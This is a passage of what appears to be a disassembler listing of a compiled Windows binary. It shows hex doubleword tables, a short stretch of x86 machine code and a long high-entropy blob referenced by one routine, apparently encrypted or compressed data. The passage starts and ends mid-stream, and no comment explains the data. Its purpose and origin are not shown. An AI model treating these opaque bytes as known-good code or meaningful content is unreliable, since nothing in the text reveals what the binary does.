205A410h, 204B810h, 10h, 2 dup(0) dd 300h, 2060400h, 10h, 2 dup(0) dd 23D1C00h, 2061410h, 23D4410h, 110h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2063800h, 204B810h, 10h, 2 dup(0) dd 200h, 2065000h, 10h, 2 dup(0) dd 23D4400h, 2065C10h, 23D6410h, 210h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2068000h, 2063810h, 204B810h, 10h, 2 dup(0) dd 300h, 2069800h, 10h, 2 dup(0) dd 23D6400h, 206A810h, 23D8410h, 210h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 206CC00h, 2063810h, 204B810h, 10h, 2 dup(0) dd 300h, 206E400h, 10h, 2 dup(0) dd 23D8400h, 206F410h, 23DE010h, 10h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2071800h, 10h, 2 dup(0) dd 100h, 2073000h, 10h, 2 dup(0) dd 23DE000h, 2073810h, 23E0010h, 110h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2075C00h, 2071810h, 10h, 2 dup(0) dd 200h, 2077400h, 10h, 2 dup(0) dd 23E0000h, 2078010h, 10h, 2 dup(0) dd 1046500h, 1056700h, 107A400h, 10FC800h, 1C5A800h, 1C5BA00h dd 1C5D800h, 1C5F800h, 1C62900h, 1C65000h, 1C68100h, 1C69000h dd 57EC8B00h, 0C758B56h, 8B104D8Bh, 0C18B087Dh, 0C603D18Bh dd 876FE3Bh, 820FF83Bh, 17Ch, 3C7F7h, 14750000h, 8302E9C1h dd 0F98303E2h, 0F3297208h, 9524FFA5h, 1001170Ch, 3BAC78Bh dd 83000000h, 0C7204E9h, 303E083h, 8524FFC8h, 10011620h dd 1C8D24FFh, 90100117h, 0A08D24FFh, 90100116h, 10011630h dd 1001165Ch, 10011680h, 68AD123h, 468A0788h, 1478801h dd 0C102468Ah, 478802E9h, 3C68302h, 8303C783h, 0CC7208F9h dd 24FFA5F3h, 1170C95h, 498D10h, 68AD123h, 468A0788h, 2E9C101h dd 83014788h dword_4221E0 dd 5EDC7D9Ch, 60B15A54h, 8C8A4E11h, 0C1697B46h, 55259C22h ; DATA XREF: sub_4038D5+9Ao ; sub_4038D5+BBo ... dd 8591D9D8h, 7F2E9FCFh, 7F3E017Dh, 0C5F92C70h, 0CA9E462Fh dd 1B3CF07Fh, 0DA269F60h, 0AF41FA43h, 2A2F6885h, 0CFDE8159h dd 6530D197h, 0C153E07h, 0EDD104F3h, 0D1C52D28h, 6F29D00Fh dd 256122FCh, 37901CA0h, 28057D1Eh, 2761E407h, 0BE5012BFh dd 13D8F388h, 0C8B951B7h, 27DC4687h, 0E88D7A4h, 7DF2E88Dh dd 0E3168034h, 8EBE44E3h, 3CE8EBh, 0BBB48630h, 1A7BC600h dd 51538910h, 0C197D6C6h, 0F8D3049Fh, 9C74894Fh, 0FDDE7F5Fh dd 4EFF6042h, 0FDD0317Ah, 0F72EC1C2h, 0BA052FD1h, 0DD031B73h dd 77708E5Bh, 4DC0FFEAh, 0D81F690Ah, 0D3C6B287h, 526658F9h dd 93F9FE6h, 0E4A7F2FAh, 0D57BD4FAh, 450F2361h, 0B6A60E8Ch dd 5CE37C8h, 801D003Fh, 72CDCC55h, 0D330662Ch, 0E7050ECEh dd 4E256566h, 245FCB2Ah, 0D24114C8h, 8CDEF7AEh, 2824318Fh dd 0DA92CEE0h, 3F177377h, 7E15BB4Ah, 0E73DE467h, 1E43D0D1h dd 51F8BAA7h, 5DF816DAh, 21E92980h, 0DBE20E8Fh, 0EA8692E9h dd 0D027D916h, 0E0CBD28Fh, 0FDCCD477h, 0D3E4BA43h, 0FF39EE6Ah dd 0D49348B9h, 8EFE7BA7h, 0BE947E2Eh, 0BD1D7E0Ah, 4FBBB3E4h dd 0D83CE5CFh, 0DF4A1F25h, 0B68BF0Ch, 35DE16D7h, 0EB08739Fh dd 0DFC22F29h, 7E81BE90h, 0FC244794h, 973D2C92h, 0E7B7DF49h dd 0E4BAD932h, 0C2E7E943h, 3297BF2Fh, 0A7AC2155h, 0DB4CA8BCh dd 7945E4BAh, 4D5F81ECh, 0FC9D792Fh, 0ED9D7937h, 71E51792h dd 96AD7E01h, 0AA2BF19Eh, 92FC775Fh, 0B4A3F177h, 0F6B3F27Ah dd 0EB08FFD2h, 0FFEB0F9Ah, 0BE947E2Eh, 1D9F8BAAh, 0F497047Ah dd 0FBBB0891h, 8E68449h, 0EF07B089h, 6800BCE4h, 8C065C01h dd 1B296285h, 0B600360h, 1F600760h, 0BFD011A0h, 4CC2249h dd 16A0394h, 3BC00FFh, 0F1420370h, 0C02C4DF2h, 0EC02A801h dd 0B80E7C02h, 2E3A8802h, 280F411h, 2F602540h, 6E019A0h dd 7486BE84h, 32C05480h, 1B601540h, 5A008E0h, 0E6300570h dd 1484484h, 0CA02E4h, 0F6020Fh, 157019Ah, 7355BC0Ah, 41E03Bh dd 500AFD54h, 0BF402B94h, 0A5F500A8h, 0A487402h, 4028A650h dd 0D500A201h, 1268DD83h, 55EDABB5h, 5F72DB4Eh, 0C284BC65h dd 2F1957C2h, 2AF850A1h, 0CA1425E3h, 84BC655Eh, 8CABE542h dd 12A85087h, 0FD985ACDh, 0E68A3688h, 8CA49836h, 0E24C0765h dd 0DDBA23C7h, 0ED241A18h, 177F9BE9h, 0D4F7D0E3h, 738E7BFDh dd 6E4E2FCAh, 0CD18710Fh, 798E913h, 0F0FC423Fh, 34974D6Ah dd 78A6E0DBh, 0DDF2FDE7h, 0A5B7CBD7h, 4E717CC7h, 0FE2712F7h dd 88273898h, 2ECDA971h, 0A17712F7h, 31D97718h, 0C42BC6DEh dd 31BED434h, 0E9A73D61h, 0DF9EF78Ah, 0F520AB21h, 85043F1Fh dd 32DE4161h, 71F186E4h, 7DD61953h, 0DF94F60Ch, 0F9EE84A4h dd 0B7E5F835h, 0F9AFCC47h, 3FB7E637h, 0A17E7BB7h, 5DF97C03h dd 1A8BF316h, 3BF2DBF0h, 0FCF7477Dh, 4BF2FD72h, 2BF3C01Dh dd 29DF92ECh, 0C45BCDB1h, 0C63D6F36h, 18FDBAF1h, 8E9FEBC7h dd 2ABEBC71h, 756905F6h, 0E7A036DEh, 89AEB8BEh, 134375E7h dd 0D116EBCFh, 79E268ADh, 5E789B99h, 797C9B53h, 0AF25ED9Dh dd 25DA62B9h, 91BC3E4Dh, 0B71CF787h, 8787C9AAh, 0B3897B73h dd 8F6FCC43h, 0BD557E5Fh, 0E3146DC4h, 0DDC5FB36h, 56DC4BDBh dd 0F4B76FBFh, 0F6684712h, 25E8E9C5h, 8E2FCC8Eh, 71CF606Ch dd 0B979C76Ch, 95F71CE6h, 0B897A92Bh, 0B8E2CDF1h, 66CCCD13h dd 9BF3AFDEh, 89145F79h, 551A23DFh, 1BBFF036h, 77D7A35Bh dd 3A3B5C7h, 7FB6B87Dh, 0D3B5C720h, 0DF9E7B03h, 0F6FB34B6h dd 0B0EEEC1Ch, 6C8F9039h, 2BC106DCh, 9A241183h, 0FE788331h dd 83213F84h, 41EAFE78h, 13EFF981h, 0CCD939F3h, 66FDEFF1h dd 1FC8FD1Fh, 0CF1D73D4h, 0B6FBB5FBh, 8F48E25Eh, 0EC1CE2FBh dd 2FDC8E25h, 712F6B4Eh, 84E2FCCAh, 671CF444h, 0D89C5F8Bh dd 1E34E25Eh, 777CF7FFh, 0A416EC2Fh, 97ED2E92h, 6DE4111Fh dd 0DE08F48Bh, 0C0888E7Eh, 0FBF56BF6h, 0BE5EEEF6h, 0D816BC2Dh dd 0D4E35D77h, 0EDFEE9EDh, 376FBF56h, 0DF3EDF8Bh, 0D7B2DBE5h dd 0DA5FF0FCh, 0C5FB4E0Bh, 0CE25EA49h, 8538BF79h, 0E859C4BDh dd 0F4B36717h, 0C4BEE33Fh, 0FEBBD70Fh, 10836AEh, 3B87DFE9h dd 0B07BAC48h, 0F7E06F67h, 0AB5F8F0Dh, 0FBCF87D4h, 794D7CA4h dd 0F7DDA5Eh, 0D20E5FE1h, 86305868h, 1E85FDF7h, 0E18DCEC2h dd 0B506DC63h, 0E2C1EA34h, 0C786217Eh, 0E7CC1E2Fh, 757E2DF5h dd 73DC1DAFh, 0C6BDF7DDh, 9AF8BCD3h, 25EBFD1Fh, 0FCBF29EEh dd 23897A5Ah, 0BCE213Dh, 75F97C27h, 2E5712F4h, 0C5F935C6h dd 0BD21D8Dh, 0FBE13C3Dh, 0FF90D676h, 0EFF8FDCh, 15BE476Fh dd 0DF4B8FD8h, 0B6E34EEAh, 0D6EA090Dh, 0F8867BB7h, 0C52B1FAh dd 8812186Fh, 0CAFC3BDBh, 394BD1D9h, 0D77AC4ABh, 0FF48909Eh dd 7F5DBE1Dh, 0C57E3BBAh, 832BE75Fh, 0BE3E3AECh, 9605D76Ch dd 0CAFD1A1h, 32F5D755h, 70658997h, 274FE68Bh, 7773F47Ch dd 27A4692Fh, 0DFFA3D25h, 89D39270h, 39F24E5Bh, 0E9DD7FDFh dd 0DBE9BBFFh, 0FF8F76C0h, 90FD3BBEh, 0CD0F5742h, 457D0453h dd 0AF24593Fh, 5BA9AD33h, 2EEDE3AEh, 73AC0C8Fh, 9D5F49FCh dd 0D0BD911Dh, 0AB9CB102h, 6DF0FA4Eh, 0EBCF645Bh, 0E0730EE8h dd 3C258B98h, 0F3C89BF9h, 0F61EE96Fh, 0B9F1BF97h, 1DF915B6h dd 0C98DF48Dh, 9A78FB95h, 263E488Eh, 0F0CB109Fh, 0E5FE6894h dd 0A3DDAFA4h, 0EE5CF687h, 66EAFC57h, 7973DA1Bh, 0D3287A93h dd 6FF07F99h, 7610F4D7h, 0DE5E7EE3h, 31CFC82Dh, 0DFDE57D4h dd 0EF66989h, 0ED3DE5E5h, 0BD93EDF7h, 0BF2BEF94h, 297BE738h dd 650F7E5Fh, 21962958h, 19605872h, 90658A96h, 0B865E30Fh dd 0D7BBC1ECh, 0F01978F9h, 6CCDAFBAh, 0D32E7AC3h, 657DD7C8h dd 0CE25E9AAh, 0BE79D7E4h, 29DF313Ah, 9A9A73AFh, 572F3AF1h dd 75BEEBEEh, 0F25E9ED3h, 0E1E62E58h, 5387DD7Ch, 1B887AE7h dd 64C7A7EAh, 0B7B6EC1Ch, 0EE1D27B1h, 0F41B3F3h, 132B1E0Ah dd 0F3EF5E8Eh, 281D041Bh, 0E0D788E1h, 0D249EF17h, 0E778828Bh dd 4185E2FDh, 0F11E8ADFh, 45F9F8D6h, 5BE8EFC2h, 0F9FBAFD8h dd 0FB9F856Dh, 0BD35C92Dh, 0F6F4D73Dh, 0DBD32FFCh, 9ACC2713h dd 29049E99h, 0CC86622Ch, 5BCC4D2Ah, 0C14F685Ch, 49025DB5h dd 77072F9Fh, 6C48E326h, 13609095h, 0AE4E2667h, 0C6E11CCh dd 88033A62h, 9F9ED511h, 30B8B95Ch, 5D8964AFh, 70E317F8h dd 5089C5C4h, 4BD3F14Ch, 2768A9C1h, 1A04C8BEh, 62C9F012h dd 5FDCA8ACh, 41941658h, 5653AD3Ch, 0A559EC39h, 0F6F94539h dd 0F7F042C4h, 38860FF5h, 5A6E3255h, 6F7FDA71h, 0AB3BC7B0h dd 0F8571BD4h, 0F2357898h, 0E371DA67h, 9ED8BE55h, 6704A423h dd 0B4AA66E2h, 3D83E3C0h, 0B13E1059h, 80CEE7CCh, 0E7DF2F3Bh dd 390133Eh, 0A0FAE7D5h, 0A12C795Eh, 0E709229Fh, 0FE6E8ED9h dd 0CCCD078Fh, 7240AA2Bh, 0DF62C0AFh, 0F27054A0h, 0C7AFB172h dd 51AE3E25h, 90AAC5F2h, 31A13285h, 24485E68h, 6F3B05DEh dd 8A275010h, 6718860Dh, 69FC6B31h, 9B428DB8h, 2CCE0D4Dh dd 0F21783B6h, 4576D65Dh, 8C89978Bh, 39C1D59Eh, 948E4579h dd 5C4CF2D2h, 39DB1467h, 4AF0A9FFh, 6DE46A10h, 49A52B3Bh dd 0BAE39674h, 34F66C51h, 7060E77Ch, 8A412E31h, 0BAA2C4EDh dd 0EF17AC46h, 642C03EDh, 842AD971h, 2D4C939Ch, 3162FDC6h dd 382416D4h dd 0E7C3974Ah, 0DA87D107h, 124D7B8Dh, 2B4B8B12h, 1FB8A9ECh dd 89A65F47h, 471F61F5h, 0EBDD15FCh, 2F04D503h, 0FB0EBE79h dd 1F2E0FDh, 546D7506h, 0BA506A61h, 0B7456F3Dh, 0FB4616C6h dd 0C95A5C63h, 72FB72E2h, 0FE51CF56h, 0F2AFB8FEh, 95F6AFF8h dd 0DF119780h, 8EA7A7FCh, 444917B0h, 0F0C65D0Eh, 13DF082Bh dd 23DD9047h, 0C31B7A3Ch, 845D118h, 69E7EC22h, 0E5159797h dd 0F2782F08h, 4F6E4541h, 392D399Eh, 9BB9C3DDh, 45EC0413h dd 9497D8C7h, 45F2ABA3h, 0F4E1DF3Eh, 7DBE6EADh, 47B86C82h dd 72237DE7h, 273BE302h, 0E5CE2ED0h, 0C625C5C4h, 59F05DC3h dd 99DCAF86h, 20E15E0Ch, 0E697D296h, 8A92149h, 78B8EA77h dd 0FEB1F9F5h, 0BDF3AF7h, 2601595Ah, 414712DCh, 0A0413082h dd 5ECD3511h, 6611C8E9h, 0F4CF2665h, 0C92DFD94h, 8E12FB4Ch dd 0D1DBB712h, 0DCF8EF44h, 4731A44Ch, 0AC3E4E38h, 784111DBh dd 0B758B983h, 0F48D49C3h, 74CF905h, 7EE8BBE7h, 1D54DC9Fh dd 0B90BFDD1h, 0AC92D23Dh, 33E4DD55h, 0AB132C03h, 0CFB04C88h dd 0D949090Ah, 4F34B609h, 2EE08CA9h, 0D04D8DF3h, 47F9B82Dh dd 0C60E3299h, 0BF0F95CBh, 658ABCACh, 6CE5F619h, 0B9F62D78h dd 0BB4C1945h, 182667CFh, 381F988Ah, 4C8FC5F3h, 0DB064F4Fh dd 5AFB97A9h, 0C728E992h, 0A59434BFh, 0B1258055h, 0D834D56Ch dd 1FD1053Bh, 0F301FDF8h, 71465E5Fh, 95664946h, 0C055A717h dd 17D123F7h, 0E1183DECh, 0E1473CB6h, 0F072FB4Ch, 1257274Ch dd 0C67010Bh, 0A9FCCF1Fh, 3D037D3Fh, 73D3533h, 0FF9F6655h dd 26D28034h, 6A8C6108h, 0BF378124h, 0B61574BCh, 699AE41Bh dd 0C21AD5E7h, 5DAC995Ch, 45FC159Eh, 9A0B5F48h, 559E28E9h dd 119F12B2h, 73670556h, 92040789h, 31F82D58h, 0EB623E3Ch dd 0CCDF48BCh, 8726055Ch, 0C20DD4E5h, 0D6709E5Dh, 311B5833h dd 1CBA525Ah, 13180FCCh, 23F12825h, 0C082C41h, 1DE98C85h dd 1348C0BDh, 7E4DC0B8h, 0D2C4774h, 0EFA34F08h, 0B2E0590Bh dd 0CAA0A84Fh, 0AC84D93h, 0CA4AF2CEh, 0DFB440DEh, 0A2CE4C6Fh dd 39A3D630h, 0D9CAF364h, 2BCB9366h, 43CDBB69h, 0CAAE4169h dd 0CAECFC99h, 0ED1F63AEh, 67BCA26Eh, 77321495h, 0A36897BEh dd 50EA541Ch, 0AF1C92D6h, 0F53CBD40h, 109EDF67h, 25315694h dd 14073F2Fh, 94736EC9h, 0B383D30Bh, 5E11323Ch, 0F7635D89h dd 0A0C60B5Ah, 740CC4F4h, 0A674BB0Fh, 81BBF812h, 59835B37h dd 0C212D496h, 0D91D2A20h, 0E44CA56Ch, 84BE105Ah, 0A2B3B104h dd 0E8B8FC90h, 9C32BE37h, 891AF162h, 58DFC133h, 45F23ABBh dd 67CC2C32h, 76DA8694h, 785D9955h, 0A1E68796h, 1A7C652Eh dd 0B95196FEh, 5349F64h, 37900D2Fh, 0F76E283h, 25EBBE10h dd 0BD308E45h, 0D9A814E7h, 1B5EE0C2h, 0A7F5485Ah, 0B19568ACh dd 2A3175BCh, 8571A9F3h, 113BB85Bh, 0EDCC4EACh, 4F4CAFA2h dd 4555A0CEh, 122FAD07h, 3F470C6Dh, 17D28890h, 3C82F649h dd 13D20DACh, 0E222A0D3h, 393D4629h, 665F1A2h, 0F21D4B8Dh dd 8E26CCh, 0F1A1E571h, 4057D9B8h, 0F3BF8520h, 500AA296h dd 73CD21CBh, 0D5A83E81h, 0BF7D6A38h, 1053FEB6h, 9F759A15h dd 0BD703CB0h, 49BA4393h, 0D9F13638h, 6AAD9835h, 17A7F24Ah dd 0EB3DF8F0h, 5AC56C4Bh, 0CDEE2257h, 6EE01A09h, 0AA00B406h dd 0F1048C0h, 30858049h, 31E100CBh, 0E0344241h, 6BFD842Bh dd 0F280C90Ch, 0A3050813h, 88223422h, 10A2AB69h, 5F28B4Ah dd 0E8C726Ah, 1326FF91h, 0F32B6002h, 549375C0h, 0DCB60C5Ch dd 37E96C59h, 0DC12330Dh, 79C5C0D4h, 9AE21515h, 0DAEFDAE2h dd 4 dup(0DAEFDAEFh), 0FFEFDAEFh, 0D009BFEFh, 8F0235A5h dd 33019836h, 37718701h, 810806D2h, 7DCC0B7Dh, 0FC899DE2h dd 0E27DDF0Dh, 0F2083B7h, 521A5D04h, 0AD3F95C8h, 38FFF9F3h dd 5E7F67D7h, 42F03D7h, 0FC2C8254h, 8A4FFB8Ch, 4C4EC84Bh dd 377B1470h, 5909F185h, 42F1F1E9h, 3AF1F42Dh, 0A9017300h dd 14805880h, 897DF670h, 0FFB019B4h, 336F1F7Dh, 0EDDD04E9h dd 0FFE967C7h, 578EFFF3h, 0F7F21C8Fh, 0F93707F7h, 97FD202h dd 57DA616Fh, 0D5762FF1h, 0D71FE7C3h, 2DF8D81h, 0C88054D2h dd 9CDD62B9h, 21F5BBD0h, 0FB918FF4h, 0FC24F13Fh, 0C2DEFF56h dd 0FFF8DBFFh, 0FFFAAEEEh, 21079FABh, 0B28BFF12h, 37887A49h dd 0E785D4D7h, 0EE912DD6h, 2ABF7230h, 0B7F49065h, 0BFF89DE6h dd 0EFFCBB49h, 5F1D8E52h, 0D576BC73h, 0EC264742h, 0B24B6895h dd 0D2F68AD7h, 5FCBA07Bh, 0A06BCBB4h, 6FB45FDBh, 684780DAh dd 2AC9FB44h, 4C3B3F7Eh, 0F0F013E4h, 0E7890443h, 0BF225118h dd 679140C0h, 0FB6E7880h, 0A1327C89h, 345FD9A2h, 1B0C4C3h dd 0C4C3617Eh, 884664B4h, 0BF454AF9h, 0C63CA2C1h, 26FFD110h dd 0BA235FD1h, 0A2774413h, 4C5D2F87h, 0CFF45333h, 311CCD14h dd 0B7E2D9FFh, 0E5FF458Bh, 0C094A34Ch, 16884B5Eh, 8BFA40E5h dd 55F8A0F5h, 88379962h, 7862DDE6h, 235E18B5h, 0E60F43E6h dd 0DFE6F292h, 629DEE8Bh, 0DF8B7679h, 0FFE8A3FBh, 6F7CB14Fh dd 8BEFE188h, 78FD51E1h, 7FDE105Bh, 0BA448DFEh, 3CE38330h dd 0F491299h, 0AF0BAE03h, 1B1BBFF9h, 0F6BB3E9Eh, 6FFBF6BBh dd 2A5F8C7Fh, 0C3C73FECh, 0E01C6FF8h, 0DD82EFE1h, 0B0F47FC3h dd 0D89EBD9Fh, 7DFB45EFh, 0FDFBF67Eh, 0ECFC5BECh, 3FB3F3BFh dd 0D07F67E0h, 0D22C1ECFh, 7C714A93h, 0F3BEDE32h, 0F884B378h dd 0FE73CF64h, 59306DFFh, 0F0D26015h, 44BDFD39h, 3770634Ah dd 552BA24Ch, 2BAE4930h, 0B2D1260Bh, 68B49868h, 0D61DF0B8h dd 0A87C451h, 0EB1A06F3h, 0CC468930h, 0CE923985h, 7D05BF6Fh dd 9814DE24h, 0DBBEC24h, 5B2EBD26h, 0E283B30Bh, 8405A4C3h dd 0BADF5BE3h, 0C2141249h, 51BBE8Ah, 0AAF7785Fh, 5E0A3DBBh dd 9B94FE9Fh, 0E6E29F3Bh, 76B43F86h, 75AD1E30h, 83DCCC55h dd 7D7787F8h, 0D37ABB8h, 8AAE1B80h, 0F9A25D3Ch, 9F8C6FDCh dd 10079A20h, 0CF27CDFFh, 0F842393Eh, 93F749F2h, 7FCF7A73h dd 9B664EDDh, 0F19F0E81h, 650FFCE1h, 970F82C2h, 1EECA87Eh dd 4F969DFFh, 3F067F5Ah, 929E3AFAh, 0E7CD13E8h, 4F813F31h dd 880D1007h, 0A4024402h, 8407080h, 8947E3A0h, 0DC002F4h dd 0D380338h, 51C0668h, 20E0234h, 1FB001Ah, 17B00FBh, 1BB007Bh dd 1DB003Bh, 5B00DBh, 358035h, 18BF1887h, 0B980F90h, 15201B0h dd 301C8066h, 880B1001h, 3A028406h, 84EE007Eh, 0E92AE8F8h dd 1AC5CCEAh, 0FFD4EE65h, 1FC5EB0Ch, 622469ADh, 553E4F5Ah dd 0FE7EDC65h, 0B4B6BE07h, 0FFD6665h, 0D25B4F8Dh, 7DFA58FFh dd 5379E328h, 4F9FD490h, 147DABB3h, 0EE0288F1h, 3D19C710h dd 8D1CFF02h, 0A45BE223h, 92150CF9h, 0E849A603h, 0C697C4A6h dd 2BB7CE28h, 0F6101D39h, 0DA3DBE93h, 8634D053h, 19019378h dd 926E212h, 0AFFA1B5Ch, 1662E3D1h, 2C5695A4h, 878D4F8Ah dd 6B2EB7FEh, 0A90C8F7Dh, 26101418h, 0C05BE4EAh, 90F5A8D4h dd 1C455456h, 0C60F35DFh, 0AF17E8A7h, 0D14974B8h, 25C80E2h dd 876E03BFh, 0C0C28E25h, 10E1FE08h, 5A505EDBh, 189CA0B0h dd 7AE13C68h, 16AD2ABCh, 980E41h, 6211588h, 3440320h, 9100A2h dd 583C2029h, 0D4040F5Ch, 11DDB161h, 0A5AECC5Fh, 2F6FA7Ah dd 0DC4158DCh, 910C4BBAh, 4EB3CD67h, 555B2D2Dh, 0D0A4B45Eh dd 3C5D8B21h, 1830A656h, 0D2A11394h, 0B45B2147h, 749B664Ah dd 0AD9924DBh, 0B909CF38h, 483209F8h, 1B92E3CAh, 9210E40Ah dd 0CCB25454h, 98EE9CB9h, 1DD2C826h, 506493F9h, 999B2B69h dd 2B353536h, 5A133653h, 2766661Fh, 36BA4D27h, 5DFB5E77h dd 7 dup(5DFB5DFBh), 0FFBFFDFBh, 0F9C30893h, 57555CFDh dd 97933A7Fh, 0D1EFE0F7h, 2CB0B629h, 83D7E848h, 77B3110h dd 0A1717976h, 78651C3h, 55C1A148h, 0E7DE55C6h, 0D8E28E72h dd 2837DED1h, 0A466E526h, 0D96566A7h, 0D358F46h, 5364A30Ch dd 0BE5F53C0h, 0F4D73C0Ah, 698F4052h, 27A69213h, 63C4994Dh dd 64E59378h, 8B8BDA16h, 93904E7Bh, 0A8BCB8B9h, 458931CCh dd 86062961h, 0C87DDF79h, 0FF119C84h, 46DE1266h, 67002D88h dd 370A3D36h, 30953D81h, 0C0D77656h, 45FEFEB0h, 0E07C449Ah dd 24C28CF8h, 32421AEBh, 7B94B12Fh, 0EFE337A0h, 75B9658Fh dd 678FA30Bh, 0B8371295h, 0DD9587DFh, 1B7131E3h, 80DAF796h dd 0C36F8BC2h, 0A525E0C2h, 3F48096h, 0C451E138h, 0AE2BC82h dd 28E5653Bh, 0FB42C55Fh, 89325D8Bh, 0BD88A5DEh, 0D6726A75h dd 8B2813ADh, 6CAA3C09h, 5E5938F2h, 0A6282AC5h, 0A97F2F04h dd 6E3642B3h, 37892B32h, 24BD8559h, 7FB0579Fh, 0D62C8151h dd 0C1AD0DEBh, 0C8B16D88h, 0D6382670h, 0B9477DF7h, 2D7E7D93h dd 5480D6DEh, 8ED62C92h, 324CCA42h, 0B97FA154h, 4BFB8A1Dh dd 553DB8C4h, 0B5865A8Bh, 0C41F2B0Bh, 4A510A9Ah, 757C89B1h dd 4410C25h, 0B1BF33CFh, 9DCFE673h, 0DC5C6F3Ch, 3598D8D8h dd 0F2C6E373h, 6F5153E2h, 0D8F525F2h, 0B9763290h, 645B96ECh dd 0F006F1CBh, 4C073C58h, 1E025E26h, 5346114Dh, 0B11CC4C2h dd 3D79A8EFh, 38B5F939h, 3F0C862Fh, 98814A2Ah, 36551529h dd 0DCEB765Eh, 0F0C2B7B9h, 5A358D7Ch, 0DDE35457h, 0B44669EDh dd 0A9E1945h, 0F91043C1h, 8B2378ABh, 0C9E0548Dh, 3CE1AFC0h dd 6ED81B7Dh, 6F6189FCh, 0D48A78EBh, 274B39A5h, 1265A388h dd 18867A5Eh, 8DE97743h, 9337D1D8h, 0F95150D0h, 7AC7A3CDh dd 0DBC05E6Bh, 0BED49BCFh, 0F932F458h, 2A2C4B15h, 0B0C0D62Bh dd 0DAF5A46Bh, 4 dup(0DAEFDAEFh), 7FEFDAEFh, 76C8613h dd 4628EB7Bh, 974F2F1Eh, 0AC01E2E7h, 0E51FF97Ah, 29BF94FFh dd 53614EBFh, 0A8B8AA7Ch, 4CFAAC98h, 0ACBEAEDDh, 6844D20Eh dd 0A2DCD7AEh, 9A2C6B91h, 0CD2C9AA9h, 8D32CD7Ch, 66B77353h dd 0CD51E6B3h, 0CD5ECD2Eh, 0AD01CD01h, 0FBA0D74Bh, 0DFAD9744h dd 0FFAD3FA7h, 60C83F59h, 7E1AD437h, 4C613C35h, 7CB26D31h dd 7D671963h, 6819CACCh, 4636EF89h, 901F95AEh, 542A515Fh dd 0EA2DEA69h, 0AAAFD467h, 7B4CAD05h, 9D63F69Fh, 718B70DBh dd 0F19E71BCh, 0D360E35Bh, 34D29378h, 0BA6B94C3h, 5317F4C7h dd 0F30EF998h, 737AF332h, 0E677F98Dh, 0CDA7E6EDh, 361F34FFh dd 0E20983F3h, 0BF978A6Ah, 7F597FA8h, 3FA4DF44h, 0FF537FA1h dd 0FD7DFE8Eh, 0F54FFA47h, 0D6BFE85Fh, 0D7BFEBB7h, 0A4BFA4FFh dd 0D4EFA2BFh, 19FA1B07h, 0C221806h, 1B8619D7h, 68DC306Eh dd 0D5B86318h, 0D930DE30h, 0CE832A0h, 867BC326h, 0A997D615h dd 0BF9CF18Ch, 64F92BF6h, 9D361505h, 0D9E59778h, 7CC615FAh dd 98699953h, 0CD3CD639h, 0AF7CDABCh, 13F361F9h, 8A5167E6h dd 995FCC77h, 0B3AE59FBh, 5A516CDCh, 4B6C96CCh, 0ABEA85B9h dd 9BAD5AB4h, 92E313ADh, 0E5C5A6E2h, 4713DDC5h, 0FE02507h dd 0C53F9E24h, 15478AFDh, 563E2AEFh, 5788A77Ch, 0A9BE501Eh dd 50FCAD3Ch, 5A3285F9h, 0D7D53BF5h, 947508AAh, 5E3AA27Ah dd 507EA39Dh, 9C7A92FDh, 80F35726h, 0D14DA246h, 0D12ED02Eh dd 0D3AED72Eh, 0D61F68D6h, 467DA13Eh, 35F692FBh, 569D04EDh dd 0AE9BAC97h, 0A65BAF9Bh, 0D0EDD5ABh, 0B3FBA53Dh, 0ACEEBF6Eh dd 3EFE8D6Eh, 5FFD0EFDh, 4FE8AFF5h, 7FD13FEAh, 0BFAABFA7h dd 4C34A0C5h, 0D6191431h, 3C37EE19h, 0E1B3F86Eh, 31A4434Dh dd 718778CBh, 78D6B1BDh, 0A33DF1BFh, 0A994F4DCh, 0F98079AFh dd 0B345F36Dh, 3CB062DCh, 0FAC5B967h, 771555B4h, 0AE29AE20h dd 38CBEE25h, 0F1467A62h, 84781185h, 433E492Eh, 0A41F21DEh dd 569E2AD0h, 0AAE728A4h, 0D55BD44Bh, 549FA98Fh, 0A1A66927h dd 7ACD4EB4h, 0B87D05CDh, 6D5861C1h, 0B4F0DBB8h, 8FA1B4E1h dd 0DA31B071h, 67DC6B18h, 9A9536CCh, 0CEBA60FEh, 6C5CD0BCh dd 63EE623Eh, 6EBCB269h, 131D6639h, 89A799C7h, 0DE4528E1h dd 1F2F3F2Eh, 53ABCC0Fh, 0CE370146h, 0F301FBA9h, 0D1BE6A8Eh dd 6BC6D30Ch, 5D3AB4EBh, 7758AE8Ah, 6E8EF740h, 0B4D6BE9Ah dd 0A995F4C7h, 0E666D4C3h, 0DE78A0CCh, 0B8A2B84Bh, 0FAB5FD53h dd 0ED7F4D13h, 7D3F5D39h, 7EBA7E84h, 0C09FFEBBh, 59D3148Ch dd 968FC9F4h, 3BBFD4F9h, 63B34EB8h, 59A518F2h, 9F728F79h dd 56A563F2h, 1EFA96F5h, 0EED45CDh, 0BC4B30FDh, 3DCB1EE5h dd 6156EDD6h, 4ADF3F1Fh, 0D22A2791h, 378A3915h, 81556695h dd 0AC935AA6h, 0EAD3A19Bh, 6C7C306Fh, 328A6CBAh, 0A33731EFh dd 865A07FFh, 762D725Ah, 97CB1ACBh, 972CEF96h, 7AD0C32Ch dd 0B6BF5B9Fh, 183B8B6Eh, 84820787h, 9515E25Ch, 9517E59Bh dd 0AAB95583h, 5427AA15h, 0AADCA94Fh, 0D5C2A97Fh, 357DD42Bh dd 9AA63053h, 0E134E735h, 439D0CBAh, 0BCF756B7h, 7CDD67EEh dd 72FD12FDh, 29F1987Dh, 856311E3h, 4ADF05A9h, 3CDEFF37h dd 0BC8952CFh, 0BDFDC815h, 0C4483C38h, 0F969E4FAh, 8A51F297h dd 945B8A65h, 5505295Fh, 0B0E8B001h, 8D507EAh, 1F562F5h dd 34CD30F5h, 4CDD79EDh, 32FD3CFDh, 97FD6EFDh, 146C73FAh dd 1AF61894h, 422C355Eh, 0B630D3DEh, 984E9BB6h, 9A5FCD12h dd 0CB1296ADh, 0F5B9160Fh, 0F71B5588h, 2B49F50Ch, 7BD1D574h dd 6FA918E2h, 0E62A67CAh, 0AB144A29h, 3F2BEF14h, 37554A57h dd 0B36B56A8h, 5D86D5F4h, 18865386h, 5F18D63h, 0C074D2A3h dd 8DF4DA74h, 6EE5B479h, 5ECB09CBh, 4D657EBh, 0E73CE3CAh dd 7F95CC03h, 98A81F2Bh, 0D8AB98A0h, 0D14E78AEh, 78AE38A8h dd 